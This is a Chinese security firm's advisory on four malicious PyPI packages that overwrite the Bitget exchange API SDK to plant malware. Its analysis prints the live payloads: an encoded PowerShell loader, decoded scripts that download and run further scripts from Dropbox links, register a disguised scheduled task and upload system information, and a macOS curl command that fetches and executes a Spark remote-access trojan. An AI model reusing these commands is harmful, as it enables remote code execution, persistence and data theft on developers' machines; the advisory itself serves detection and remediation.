悬镜安全 2024年12月19日
SBOM情报预警 | 恶意Py包劫持数字货币平台API SDK开展远控木马投毒
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

悬镜供应链安全情报中心在Pypi官方仓库捕获针对Bitget数字货币交易平台API SDK的Py包远控木马投毒攻击,目标为Windows和Mac系统Python开发者,文中详细介绍了攻击方式及应对方法。

悬镜供应链安全情报中心捕获多起恶意木马攻击事件,投毒者发布4个bitget系列Py恶意包

以python-bitget-wrapper恶意包为例,恶意Py包劫持开发者系统中合法的SDK并注入攻击代码

恶意代码窃取Windows系统开发者信息,Mac系统则会远程下载并执行Mach-O可执行程序

介绍了本次投毒攻击涉及的恶意IoC数据及排查方式

原创 悬镜安全情报中心 2024-12-19 11:09 北京

SBOM情报预警! 悬镜供应链安全情报中心在Pypi官方仓库捕获多起针对Bitget数字货币交易平台API SDK的Py包远控木马投毒攻击,目标主要针对Windows和Mac系统Python开发者。


SBOM情报概述

Summary


上周(2024.12.13~12.14),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org)中捕获多起针对Windows和Mac系统Python开发者的恶意木马攻击事件。投毒者连续发布4个bitget系列Py恶意包,企图伪装并劫持开发者系统中合法的Bitget数字货币交易平台API SDK(PybitgetApi)开展远控木马后门投毒攻击。


bitget系列恶意包


截至目前,根据Pypi官方接口统计,bitget系列恶意Py包总下载量为737次。悬镜安全已于第一时间将该系列投毒恶意包向XSBOM供应链安全情报订阅用户进行推送预警。


bitget系列恶意包总下载量


投毒分析

Poisoning Analysis


以 python-bitget-wrapper 恶意包为例,bitget系列恶意Py包主要功能是针对开发者系统中的PybitgetApi SDK目录进行覆盖劫持并注入攻击代码,当开发者调用该SDK时,将静默触发恶意Py包中的攻击代码,完成远程下载并持久化运行窃取系统敏感信息的powershell脚本以及基于Go语言开发的远控木马后门。

1

SDK 劫 持

Pypi仓库的bitget数字货币交易所API SDK(PybitgetApi)在安装后会在系统python库目录下生成PyBitgetApi模块,开发者可通过 from PyBitgetApi import * 加载使用该SDK。


PybitgetApi  SDK仓库主页


PyBitgetApi模块目录


bitget系列恶意Py包的源码中内置pybigetapi目录,并且在pybigetapi/__init__.py文件中植入投毒代码(如下所示)。


bitget系列恶意包投毒代码


当开发者在Windows系统上错误安装bitget系列恶意包后,系统中原有的合法Bitget Api SDK的PyBitgetApi模块目录会被恶意包的pybitgetapi目录强制替换,导致合法的SDK被劫持。

如下图所示,在安装python-bitget-wrapper 恶意包后,系统中PyBitgetApi模块目录下的__init__.py随即也被bitget系列恶意包的pybigetapi/__init__.py恶意文件覆盖。后续开发者调用PyBitgetApi模块都将会自动触发执行__init__.py中的投毒代码。


PyBitgetApi模块劫持


2

系统信息窃取

当开发者使用Windows系统时,pybigetapi/__init__.py文件中的恶意代码将执行以下一段base64编码的powershell脚本。


$ss="JGFhYSA9IEpvaW4tUGF0aCAoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSkgIm9zLnBzMSI7IHdnZXQgLVVyaSAiaHR0cHM6Ly9kbC5kcm9wYm94dXNlcmNvbnRlbnQuY29tL3NjbC9maS9ia2hlazZ6cWJvMGNxZ2JvdGVlZ2ovMS50eHQ/cmxrZXk9eW4xOG01M2pheWJhNGUzbTViZGkwMmN6bSZzdD1laDFlZG1mMCZkbD0wIiAtT3V0RmlsZSAkYWFhOyAgJiAkYWFhOyBSZW1vdmUtSXRlbSAtUGF0aCAkYWFhIC1Gb3JjZTs="; $aa=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));$cc = $env:appdata;$dd = "user.ps1";$ee = Join-Path $cc $dd;$aa | Out-File -FilePath $ee; $aaaaa= 89897878; & $ee; Remove-Item -Path $ee -Force;



base64解码后,真实的powershell脚本(user.ps1)如下所示,利用wget从远程服务器下载新的powershell脚本(os.ps1)到系统上执行。


$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "os.ps1"; wget -Uri "https://dl.dropboxusercontent.com/scl/fi/bkhek6zqbo0cqgboteegj/1.txt?rlkey=yn18m53jayba4e3m5bdi02czm&st=eh1edmf0&dl=0" -OutFile $aaa;  & $aaa; Remove-Item -Path $aaa -Force;



远程powershell脚本(os.ps1)内容如下所示,将再次远程下载并执行两个新的powershell脚本(msupdate.ps1和system_first.ps1)。


$BPS = Join-Path ($env:AppData) "msupdate.ps1"; $str = '$aaa = Join-Path ($env:AppData) "temp.ps1"; wget -Uri "https://dl.dropboxusercontent.com/scl/fi/5z7u901sdzoqz00li94n1/system-x.txt?rlkey=61jkj43d1ix2s785wgdkvl9po&st=sonqsoi6&dl=0" -OutFile $aaa; & $aaa; Remove-Item -Path $aaa -Force;'; $str | Out-File -FilePath $BPS -Encoding UTF8; $action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop  -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$abc = Join-Path ($env:AppData) \"msupdate.ps1\"; & $abc;}"'; $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(15) -RepetitionInterval (New-TimeSpan -Minutes 30); $settings = New-ScheduledTaskSettingsSet -Hidden; Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineUA{08D75543-4129-40F4-81D2-EB97D3D54985}" -Action $action -Trigger $trigger -Settings $settings;  $aaa = Join-Path ($env:AppData) "system_first.ps1"; wget -Uri "https://dl.dropboxusercontent.com/scl/fi/pcda4919r00y20rplmqrn/system-f.txt?rlkey=3aqcyuzbc8h6clctfk3nabqjk&st=n63y43d8&dl=0" -OutFile $aaa; & $aaa; Remove-Item -Path $aaa -Force;


system_first.ps1为例,该powershell脚本主要功能是收集开发者系统的类型、安装日期、启动时间、进程列表等信息,并通过文件形式打包后上传到服务器

https://content.dropboxapi.com/2/files/upload)。


system_first.ps1窃取系统信息


3

远控木马后门

对于Mac系统,pybigetapi/__init__.py则会远程下载并执行Mach-O可执行程序(1.bin)。


elif os.name == "posix":        command = 'curl -L "https://dl.dropboxusercontent.com/scl/fi/6hg0a8fg9m36eahv88rwo/template?rlkey=0vkaw44mh3gak6y82l4ht39zg&st=ygbc7qgh&dl=0" -o "/Users/shared/1.bin" && chmod 777 "/Users/shared/1.bin" && "/Users/shared/1.bin" &> /dev/null &'        subprocess.run(command, shell=True, capture_output=True, text=True)


1.bin 可执行程序格式


通过逆向分析1.bin,根据代码功能模块以及源码目录结构信息,可溯源到1.bin实际为Spark远控客户端程序,基于Go语言开发编译。


1.bin 远控功能模块


1.bin 源代码结构信息


Spark 作为一款开源、跨平台、功能齐全的 RAT远控工具

https://github.com/XZB-1248/Spark),可实现通过浏览器控制所有受控设备。


Spark 远控项目


在VirusTotal上,1.bin被13款杀毒引擎检出为trojan.spark恶意木马,检出率约20%(13/63)。


VirusTotal检测结果


4

IoC 数据


本次捕获的Bitget系列投毒Py包涉及的恶意IoC数据如下表所示:



排查方式

Investigation Method


开发者可通过命令 pip show python-bitget-wrapper 快速排查是否误安装或引用该恶意py组件包。若已安装该恶意组件,请尽快通过命令 pip uninstall python-bitget-wrapper -y 命令进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。


[     {         "product": "python-bitget-wrapper",         "version": "[0.3.5]",         "language": "python",         "id": "XMIRROR-MAL45-8055AED",         "description": "恶意Py包劫持 PyBitgetApi SDK 开展远控木马投毒",         "release_date": "2024-12-14"       },       {         "product": "python-bitget-connect",         "version": "[0.3.9]",         "language": "python",         "id": "XMIRROR-MAL45-ED6B7F9D",         "description": "恶意Py包劫持 PyBitgetApi SDK 开展远控木马投毒",         "release_date": "2024-12-14"       },       {         "product": "python-bitget-request",         "version": "[4.9.5]",         "language": "python",         "id": "XMIRROR-MAL45-9CA4CB",         "description": "恶意Py包劫持 PyBitgetApi SDK 开展远控木马投毒",         "release_date": "2024-12-13"       },       {         "product": "python-bitget-api",         "version": "[3.3.5]",         "language": "python",         "id": "XMIRROR-MAL45-F48CE5DF",         "description": "恶意Py包劫持 PyBitgetApi SDK 开展远控木马投毒",         "release_date": "2024-12-13"       }     ]


悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。


推荐阅读


关于“悬镜安全”


悬镜安全,起源于子芽创立的北京大学网络安全技术研究团队”XMIRROR”,作为数字供应链安全和DevSecOps敏捷安全开拓者,始终专注于以“AI智能代码疫苗”技术为内核,凭借原创专利级“全流程数字供应链安全赋能平台+敏捷安全工具链+SBOM情报预警服务”的第三代DevSecOps数字供应链安全管理体系,创新赋能金融、车联网、通信、能源、政企、智能制造和泛互联网等行业用户,构筑起适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系,持续守护中国数字供应链安全。


阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

悬镜安全 供应链安全 Py包投毒 远控木马
相关文章